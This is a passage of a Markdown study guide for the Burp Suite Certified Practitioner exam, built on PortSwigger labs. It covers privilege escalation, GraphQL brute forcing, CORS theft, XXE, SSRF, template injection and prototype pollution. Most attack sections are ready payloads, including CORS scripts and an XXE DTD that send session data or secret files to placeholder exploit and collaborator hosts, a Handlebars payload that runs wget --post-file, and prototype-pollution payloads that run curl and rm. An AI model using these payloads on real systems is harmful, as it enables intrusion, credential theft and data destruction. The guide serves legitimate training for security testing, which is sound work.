Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Connection: close { "csrf":"u4e8f4kc84md743ka04lfos84", "email":"[email protected]", "roleid": 42 } ``` >The Hitchhiker's Guide to the Galaxy answer was [42](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#42_Puzzle) ![Intruder Payload set to identify Admin role ID](images/intruder-payload-positions.png) >Attacker ***identify*** the possible role ID of administrator role and then send this request with updated roleId to privilege escalate the current logged in user to the access role of administrator. ![Attack identify Admin role ID](images/admin-roleid-privesc.png) [PortSwigger Lab: User role can be modified in user profile](https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile) ### Drop Select a role >Escalation to administrator is sometimes controlled by a role selector GET request, by **dropping** the `Please select a role` GET request before it is presented to the user, the default role of **admin** is selected by back-end and access is granted to the admin portal. ![Select a role](images/select-a-role.png) [PortSwigger Lab: Authentication bypass via flawed state machine](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine) ### Original URL >Admin portal only accessible from internal. ***Identify*** if access control can be bypassed using header `X-Original-URL`, observe different response to `/admin` endpoint requests depending on header value. ``` X-Original-URL: /admin ``` ![x-original-url](images/x-original-url.png) [PortSwigger Lab: URL-based access control can be circumvented](https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented) ### Trace to Admin >Unable to reach `/admin` portal, but when changing the GET request to `TRACE /admin` this response contain an `X-Custom-IP-Authorization: ` header. >Use the ***identified*** header to by access control to the admin authentication. ![trace info](images/trace-info.png) ``` GET /admin HTTP/2 Host: TARGET.net X-Custom-Ip-Authorization: 127.0.0.1 Cookie: session=2ybmTxFLPlisA6GZvcw22Mvc29jYVuJm ``` [PortSwigger Lab: Authentication bypass via information disclosure](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass) ----- ## GraphQL API [Identify GraphQL API](#identify-graphql-api) [GraphQL Reveal Credentials](#graphql-reveal-creds) [GraphQL Brute Force](#graphql-brute-force) ### Identify GraphQL API >To ***identify*** if there is hidden GraphQL API endpoint send an invalid GET request endpoint and observe message `Not Found`, but when sending `/api` the response is `Query not present`. ![graphql API identify](images/graphql-api-identify.png) >Enumeration of the GraphQL API endpoint require testing with a universal query. >Modify GET request with query as a URL parameter `/api?query=query{__typename}`. >The below response validate the ***identity*** of GraphQL endpoint: ```JSON { "data": { "__typename": "query" } } ``` >Check introspection, with new request URL-encoded introspection query as a query parameter. ```HTML /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A ``` ![graphql-api-introspection-query.png](images/graphql-api-introspection-query.png) >Bypass introspection protection matching the **regex** filters, and modify the query to include a `%0a` newline character after `__schema` and resend. >Save the introspection response to file as `graphql.json`, and remove HTTP headers from the saved response file leaving only body. >On the InQL Scanner tab, load the file `graphql.json` and enter to scan API endpoint. >Expand scan results for the schema and find the `getUser` query. >In Repeater, copy and paste the getUser query as parameter and send it to the API endpoint discovered but first URL encode all characters. >Test alternative user IDs until the API confirms `carlos` user ID as 3. ![graphql-api-getuser-sensitivedata.png](images/graphql-api-getuser-sensitivedata.png) >This give you sensitive information for a user on the system such as login token, login password information, etc. [PortSwigger Lab: Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint) ### GraphQL Reveal Creds >Intercept the login POST request to the target. ***Identify*** the GraphQL mutation contain the username and password. ![graphql-identify](images/graphql-identify.png) >Copy the URL of the `/graphql/v1` POST request and past into the ***InQL Scanner*** tab to scan API. ![graphql-scanner.png](images/graphql-scanner.png) >There is a getUser query that returns a user's username and password. This query fetches the relevant user information via a direct reference to an id number. >Modify a request by replacing the inQL tab query value to the below discovered `getuser` query from scanner. >In the POST JSON body remove the `operationName` property and value. ![graphql-modify-request.png](images/graphql-modify-request.png) >Log in to the site as the administrator, and gain access to the Admin panel. [PortSwigger Lab: Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure) ### GraphQL Brute Force >The login API is protected by rate limiter to protect against brute force attacks. >Sending too many incorrect login attempts to the API, rate limit protection response message response is ***identified***. ```graphql { "errors": [ { "path": [ "login" ], "extensions": { "message": "You have made too many incorrect login attempts. Please try again in 1 minute(s)." }, "locations": [ { "line": 3, "column": 9 } ], "message": "Exception while fetching data (/login) : You have made too many incorrect login attempts. Please try again in 1 minute(s)." } ], "data": { "login": null } } ``` >Using the following PortSwigger JavaScript to generate a list of login combination with [password wordlist](https://portswigger.net/web-security/authentication/auth-lab-passwords) as part of brute force attack that bypass rate limiting protection. ```javascript copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>` bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success } `.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard."); ``` ![graphql-brute-list.png](images/graphql-brute-list.png) >Using the output from the above JavaScript, and place it in the InQL tab of the login POST request `POST /graphql/v1 HTTP/2`, removing the `operationName` POST body parameter and value, before sending single request containing all possible passwords in the GraphQL query. ![graphql-brute-force-InQL.png](images/graphql-brute-force-InQL.png) >Response from the single POST request is one value marked `true` and the client login token return in response. >Replace the cookie in browser to impersonate Carlos user session. [PortSwigger Lab: Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass) ----- ## CORS [Trusted insecure protocols](#trusted-insecure-protocols) [Null origin trusted](#null-origin-trusted) ### Trusted insecure protocols >***Identify*** in the `source code` the account details are requested with AJAX request and it contains the user session cookie in the response. ![cors-ajax-request.png](images/cors-ajax-request.png) >Test if the application CORS configuration will allow access to sub-domains using below test header. If response include the `Access-Control-Allow-Origin` header with the origin reflect it is vulnerable to **CORS**. ``` Origin: http://subdomain.TARGET.NET ``` >The target call subdomain to retrieve stock values, and the `productid` parameter is vulnerable to cross-site scripting (XSS). ![Subdomain cors xss](images/subdomain-cors-xss.png) >Place code in the exploit server body and **Deliver exploit to victim** to steal the AJAX session token and API key. In the BSCP exam use the [CORS](#cors) vulnerability to steal JSON data that also include the administrator session token, and can be used to escalate privilege. ```html <script> document.location="http://stock.TARGET.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` [PortSwigger Lab: CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack) ### Null origin trusted >Identify the CORS insecure configuration by checking the AJAX response if it contains the `Access-Control-Allow-Credentials`, then add header `Origin: null`. If the `null` origin is reflected in the `Access-Control-Allow-Origin` header it is vulnerable. >Payload that may work in BSCP exam to obtain the administrator account API and session cookie data. Host on exploit server. ```html <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true); req.withCredentials = true; req.send(); function reqListener() { location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> ``` ![CORS-NULL trusted](images/CORS-NULL.png) [PortSwigger Lab: CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) ----- # Data Exfiltration ## XXE Injections [XXE Identify](#identify-xml) [XXE Xinclude file read](#xinclude-file-read) [XXE DTD Blind Out-of-band](#dtd-blind-out-of-band) [XXE DTD Blind Error messages](#dtd-blind-error-messages) [XXE SQLi inside XML + HackVertor](#sql--xml--hackvertor) [XXE perform SSRF](#xxe--ssrf) [XXE with SVG upload](#xxe-via-svg-image-upload) [HackTheBox XML External Entity Injection - Private Github](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Web-Attacks.md#xxe) >File upload or user import function on web target use XML file format. This can be vulnerable to XML external entity (XXE) injection. ### Identify XML >Possible to find XXE attack surface in requests that do not contain any XML. >To ***Identify*** XXE in not so obvious parameters or requests, require adding the below and URL encode the **&** ampersand symbol to see the response. ```xml %26entity; ``` >Below the server respond with indication that XML Entities are not allowed for security reasons. ![Identify XML Injections](images/identify-xxe.png) ### Xinclude file read >Webapp **Check Stock** feature use server-side XML document that is server side parsed inside XML document, and request is not constructed of the entire XML document, it is not possible to use a hosted DTD file. Injecting an **XInclude** statement to retrieve the contents of ```/home/carlos/secret``` file instead. ```xml <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo> ``` ![XInclude to retrieve files](images/xinclude.png) >URL encode the XXE payload before sending. ```xml <foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/hostname"/></foo> ``` [PortSwigger Lab: Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack) ### DTD Blind Out-of-band >On the exploit server change the hosted file name to ```/exploit.dtd``` as the exploit file with **Document Type Definition (DTD)** extension, containing the following payload. The ```&#x25;``` is the Unicode hex character code for percent sign ```%```. **[Parameter entities](https://academy.hackthebox.com/module/134/section/1206)** are referenced using the **percent** character instead of the usual ampersand. ```xml <!ENTITY % file SYSTEM "file:///home/carlos/secret"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>"> %eval; %exfil; ``` ![Exploit.DTD file hosted](images/exploit.dtd.png) >Modify the file upload XML body of the request before sending to the target server. ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]> <users> <user> <username>Carl Toyota</username> <email>[email protected]</email> </user> </users> ``` ![Exploiting blind XXE to exfiltrate data using a malicious exploit DTD file](images/blind-xxe-exploit-dtd.png) [PortSwigger Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration) >**Rabbit hole:** The submit feedback and screenshot upload on feedback is not to be followed by ***Neo*** down the Matrix. ### DTD Blind Error messages >Trigger XML parsing errors in such a way that the error messages contain sensitive data. If the out of band to Collaborator payload above do not work test if the target will call a ```exploit.dtd``` file with invalid reference and return response in an error message. >Hosted on exploit server the ```/exploit.dtd``` file and body contents to ```file:///invalid/``` path. ```xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil; ``` >On the stock check XML post request insert the payload between definition and first element. ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]> <stockCheck> <productId> 1 </productId> <storeId> 1 </storeId> </stockCheck> ``` ![DTD Exploit invalid error](images/dtd-exploit-invalid-error.png) [PortSwigger Lab: Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages) >**Rabbit hole:** The submit feedback and screenshot upload on feedback is for ***Neo*** to follow ***Trinity*** in the Matrix. ### SQL + XML + HackVertor >The combination of vulnerabilities are ***identified*** in a XML Post body and inserting mathematical expression such as **7x7** into field and observing the evaluated value. Using this type of XML and SQL injection with WAF filter bypass via encoding may allow extract of sensitive data. ![identify-math-evaluated-xml](images/identify-math-evaluated-xml.png) >WAF detect attack when appending SQL query such as a UNION SELECT statement to the original store ID. Web application firewall (WAF) will block requests that contain obvious signs of a SQL injection attack. ```sql <storeId>1 UNION SELECT NULL</storeId> ``` >Bypass the WAF, Use Burp extension **[Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)** to [obfuscate](#obfuscation) the SQL Injection payload in the XML post body. ![Web application firewall (WAF) bypass require obfuscate of malicious query with Hackvertor](images/hackvertor.png) >Webapp return one column, thus need to concatenate the returned usernames and passwords columns from the users table. ```xml <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId> ``` ![SQL injection with filter bypass via XML encoding obfuscation](images/xml-sql-obfuscation.png) >Below is sample SQLi payloads to read local file, or output to another folder on target. ```sql <@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities> <@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities> ``` [PortSwigger Lab: SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding) ----- ## SSRF - Server Side Request Forgery [SSRF blacklist filter](#ssrf-blacklist-filter) [SSRF via Absolute GET URL + HOST Header](#absolute-get-url--host-ssrf) [SSRF inside XXE](#xxe--ssrf) [SSRF HOST Routing-based](#host-routing-based-ssrf) [SSRF inside HTML-to-PDF](#html-to-pdf) [SSRF Open Redirection](#ssrf-open-redirection) [SSRF Consecutive Connection State](#host-connection-state) >SSRF attack cause the server to make a connection to internal services within the organization, or force the server to connect to arbitrary external systems, potentially leaking sensitive data. Burp scanner may detect SSRF issue as an, `External service interaction (HTTP)`. >SSRF Sample payloads. ```html /product/nextProduct?currentProductId=6&path=https://EXPLOIT.net stockApi=http://localhost:6566/admin http://127.1:6566/admin Host: localhost ``` >Alternative IP representation of ```127.0.0.1```: 1. 2130706433 2. 017700000001 3. 127.1 ### SSRF blacklist filter >***Identify*** the SSRF in the `stockAPI` parameter, and bypass the block by changing the URL target localhost and admin endpoint to: `http://127.1/%2561dmin`. >Double URL encode characters in URL to **Obfuscate** the `a` to `%2561`, resulting in the bypass of the blacklist filter. ![ssrf obfuscated](images/ssrf-obfuscated.png) [PortSwigger Lab: SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter) ### Absolute GET URL + HOST SSRF >***Identify*** SSRF flawed request parsing vulnerability by changing the `HOST` header to Collaborator server and providing an absolute URL in the GET request line and observe the response from the Collaborator server. ```html GET https://TARGET.net/ Host: COLLABORATOR.NET ``` ![identify ssrf flawed request parsing host header](images/identify-ssrf-host.png) >Use the Host header to target 192.168.0.141 or ```localhost```, and notice the response give 302 status admin interface found. Append /admin to the absolute URL in the request line and send the request. Observe SSRF response. ![ssrf](images/ssrf.png) ``` GET https://TARGET.net/admin/delete?csrf=cnHBVbOPl7Bptu3VCXQZh6MUYzMsEXgO&username=carlos HTTP/1.1 Host: 192.168.0.114 Cookie: session=PQcb5CMC9ECh5fBobuxSalaBdxyLis01 ``` [PortSwigger Lab: SSRF via flawed request parsing](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-ssrf-via-flawed-request-parsing) ### SSRF redirect_uris >POST request to register data to the client application with redirect URL endpoint in JSON body. Provide a redirect_uris array containing an arbitrary white-list of callback URIs. Observe the redirect_uri. ```html POST /reg HTTP/1.1 Host: oauth-TARGET.web-security-academy.net Content-Type: application/json Content-Length: 206 { "redirect_uris":["https://example.com"], "logo_uri" : "https://Collaborator.com", "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } ``` ![ssrf_redirect_uris.png](images/ssrf_redirect_uris.png) [PortSwigger Lab: SSRF via OpenID dynamic client registration](https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration) ### XXE + SSRF >Exploiting XXE to perform SSRF attacks using stock check function that obtains sensitive data. ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]> <stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId> </stockCheck> ``` ![xxe-ssrf-localhost.png](images/xxe-ssrf-localhost.png) [PortSwigger Lab: Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf) ### HOST Routing-based SSRF >***Identify*** routing-based SSRF by altering the **host** header on request and observe the response. Routing-based SSRF via the Host header allow insecure access to a localhost Intranet. ``` GET / HTTP/1.1 Host: 192.168.0.§0§ ``` ![Routing-based SSRF](images/Routing-based-SSRF.png) >**Note:** Once access gained to the internal server admin portal, the response indicate the form requires a POST request and CSRF token, so we convert the GET request to POST as below. ```html POST /admin/delete HTTP/1.1 Host: 192.168.0.135 Cookie: session=TmaxWQzsf7jfkn5KyT9V6GmeIV1lV75E Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: https://TARGET.web-security-academy.net/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 53 csrf=ftU8wSm4rqdQ2iuSZUwSGmDnLidhYjUg&username=carlos ``` [PortSwigger Lab: Routing-based SSRF](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf) ### HTML to PDF >**Identify** a PDF download function and the `source code` uses ```JSON.stringify``` to create html on download. This HTML-to-PDF framework is vulnerable to SSRF attack. Partial `source code` for JavaScript on the target ```downloadReport.js```. ```JavaScript function downloadReport(event, path, param) { body: JSON.stringify({ [param]: html } ) ``` >**Note:** The `<div>` tag defines a division or a section in an HTML document. The <div> tag is used as a container for HTML elements - which is then styled with CSS. [z3nsh3ll explain HTML DIV demarcation and SPAN different ways to style the elements.](https://youtu.be/5djtMMciBlw) ```html <div><p>Report Heading by <img src=”https://Collaborator.com/test.png”></p> ``` >Identify file download HTML-to-PDF convert function on target is vulnerable. ```JavaScript <script> document.write('<iframe src=file:///etc/passwd></iframe>'); </script> ``` >Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF). [PortSwigger Research SSRF](https://portswigger.net/daily-swig/ssrf) >Sample code below can be injected on vulnerable implementation of HTML to PDF converter such as ```wkhtmltopdf``` to read local file, resulting in [SSRF to Local File Read Exploit in Hassan's blog](http://hassankhanyusufzai.com/SSRF-to-LFI/). >Thehackerish showing wkHTMLtoPDF exploitation using [root-me.org - Gemini-Pentest-v1](https://www.root-me.org/) CTF lab in the video [Pentest SSRF Ep4](https://youtu.be/Prqt3N5QU2Q?t=345) by editing the name of the admin profile with HTML content it is then generated server side by including remote or local files. ![root-me ctf Gemini pentest v1](images/root-me-ctf-gemini-pentest-v1.png) ```html <html> <body> <script> x = new XMLHttpRequest; x.onload = function() { document.write(this.responseText) }; x.open("GET", "file:///home/carlos/secret"); x.send(); </script> </body> </html> ``` >JSON POST request body containing the HTMLtoPDF formatted payload to read local file. ```JSON { "tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>" } ``` ![root-me ctf wkhtmltopdf 0.12.4](images/root-me-ctf-wkhtmltopdf0.12.4.png) >Above the display name is injected with ```HTML``` payload and on export the HTML-to-PDF converter perform SSRF. >The PDF creator: wkhtmltopdf 0.12.5 is known for SSRF vulnerabilities, and in [HackTricks - Server Side XSS - Dynamic PDF](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf) there is cross site scripting and server side exploits documented. ### SSRF Open Redirection >The target make **GET** request to the ***next product*** on the e-commerce site, using a **path** parameter. On the stockAPI POST request the value provided in body data is the partial path to internal system. See product page `source code` below. ![ssrf-open-redirection-code.png](images/ssrf-open-redirection-code.png) >The ***identification*** of this vulnerability is by testing various paths and observing the input path specified is reflected in the response **Location** header. ![SSRF Open Redirect Location reflect](images/ssrf-open-edirect-location-reflect.png) >In this lab they state the admin interface is at ```http://192.168.0.12:8080/admin``` but in exam use the ```localhost:6566```. ``` https://TARGET.net/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin ``` >On the POST stock request, replace the StockAPI value with the partial path, not the absolute URL, from the ```nextProduct``` GET request URL as the value of the ```stockAPI``` parameter. ``` stockApi=/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin ``` >URL-encode payload ``` stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d1%26path%3dhttp%253a%2f%2f192.168.0.12%253a8080%2fadmin ``` ![SSRF Open Redirect](images/ssrf-open-rerdirect.png) [PortSwigger Lab: SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection) ----- ## SSTI - Server Side Template Injection [SSTI Identified](#ssti-identified) [Tornado](#tornado) [Django](#django) [Freemarker](#freemarker) [ERB](#erb) [Handlebars](#handlebars) >Use the web framework native template syntax to inject a malicious payload into a **{{input}}**, which is then executed server-side. Submitting invalid syntax will often result in error message that lead to ***identifying*** the template framework. Use PortSwigger [template decision tree](https://portswigger.net/web-security/images/template-decision-tree.png) to aid in ***identification***. ### SSTI Identified >SSTI can be ***identified*** using the tool [SSTImap](https://github.com/vladko312/SSTImap). The limitations of this tool is that the template expression ```{{7*7}}``` results are sometimes only evaluated by another GET request or calling another function in the application, as the **output** is not directly reflected or echoed into the response where the template expression was posted. >Alternative way to ***identify*** the template framework is to induce error message by injecting malformed user supplied payloads. [Tib3rius give great SSTI explanation on this PortSwigger Web Academy labs tutorial](https://youtu.be/p6ElHfcnlSw) ```bash python /opt/SSTImap/sstimap.py --engine erb -u https://TARGET.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock --os-cmd "cat /home/carlos/secret" ``` >POST request with the data param to test and send payload using SSTImap tool. ```bash python /opt/SSTImap/sstimap.py -u https://TARGET.net/product/template?productId=1 --cookie 'session=StolenUserCookie' --method POST --marker fuzzer --data 'csrf=ValidCSRFToken&template=fuzzer&template-action=preview' --engine Freemarker --os-cmd 'cat /home/carlos/secret' ``` ![SSTImap Tool](images/sstimap.png) >SSTI payloads to manually ***identify*** vulnerability. ``` ${{<%[%'"}}%\., }}{{7*7}} {{fuzzer}} ${fuzzer} ${{fuzzer}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} ${foobar} {% debug %} ``` ### Tornado >***Identification*** of tornado template framework after testing injection with ```}}{{ 7*7}}```. ![Identify SSTI](images/identify-ssti.png) >Tornado Template can be ***identified*** using a ```}}{{ 7*7}}``` payload that breakout of current expression and evaluate `7*7`. >The **preferred name** functionality in the user account profile page is altered and on blog post comment the output displayed. ``` POST /my-account/change-blog-post-author-display HTTP/2 Host: TARGET.net Cookie: session=fenXl1hfjQBgGkrcmJoK7D8RU3eHkkCd blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret') ``` ![Tornado Template](images/tornado-template.png) >Data extracted from the output response when reloading the blog comment previously saved by a logged in user after changing their preferred display name. ![ssti tornado results](images/ssti-tornado-results.png) [Lab: Basic server-side template injection code context](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context) ### Django >Django Template uses ```debug``` tag to display debugging information. ``` ${{<%[%'"}}%\, {% debug %} {{settings.SECRET_KEY}} ``` ![Django template](images/django-template.png) [PortSwigger Lab: Server-side template injection with information disclosure via user-supplied objects](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects) ### Freemarker >Freemarker Template Content-Manager (C0nt3ntM4n4g3r) ``` ${foobar} <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") } ``` ![Freemarker template](images/freemarker-template.png) [PortSwigger Lab: Server-side template injection using documentation](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation) ### ERB >Identify ERB template in a `GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2` request that then reflects the message value in the response, `Unfortunately this product is out of stock`. ``` fuzzer${{<%[%'"}}%\<> <%= 7*7 %> ``` >ERB Template documentation reveals that you can list all directories and then read arbitrary files as follows: ```erb <%= Dir.entries('/') %> <%= File.open('/example/arbitrary-file').read %> <%= system("cat /home/carlos/secret") %> ``` ![ERB template](images/erb-template.png) [PortSwigger Lab: Basic server-side template injection](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic) ### Handlebars >Handlebars Template can be identified by injecting below set of characters and not encoding them into the `GET /?message=Unfortunately this product is out of stock` parameter. [SSTIMAP](https://github.com/vladko312/SSTImap) was not able to identify this handlebars SSTI vulnerability. Use fuzzer payload to produce error message that ***identify*** handlebars template engine. ``` fuzzer${{<%[%'"}}%\,<> ``` ![identified-ssti-handlebars.png](images/identified-ssti-handlebars.png) >[URL encoding](https://www.urlencoder.org/) the payload, it is not required to remove newline breaks or spaces. The payload will send the contents of `/home/carlos/secret` to Burp Collaborator. ``` wrtz{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('wget https://COLLABORATOR.net --post-file=/home/carlos/secret');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} ``` ![Handlebars template](images/handlebars-template.png) [PortSwigger Lab: Server-side template injection in an unknown language](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit) [PortSwigger Research SSTI](https://portswigger.net/research/server-side-template-injection) >Note: ***Identify*** the Update forgot email template message under the admin_panel at the path /update_forgot_email. ----- ## SSPP - Server Side Prototype Pollution >The application run `Node.js` and the Express framework. It is vulnerable to server-side prototype pollution (SSPP) because it unsafely merges user-controllable input into a server-side JavaScript object. >SSPP Exploit steps: 1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype. 2. Identify a gadget that you can use to inject and execute arbitrary system commands. 3. Trigger remote execution of a command that deletes the file /home/carlos/morale.txt. >***Identify*** prototype pollution ```JSON "__proto__": { "json spaces":10 } ``` >Test for remote code execution (RCE) by performing DNS request from back-end. ```JSON "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('curl https://COLLABORATOR.com')" ] } ``` Inject exploit in to read or delete user sensitive data. After injection, trigger new spawned node child processes, by using admin panel maintenance jobs button. This will action on Carlos `secret` file. ```JSON "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')" ] } ``` ![SSPP JSON injection](images/sspp.png) [PortSwigger Lab: Remote code execution via server-side prototype pollution](https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution) ----- ## File Path Traversal [HackTheBox CPTS File Inclusion](https://github.com/botesjuan/cpts-quick-references/blob/main/module/File%20Inclusions.md) [LFI 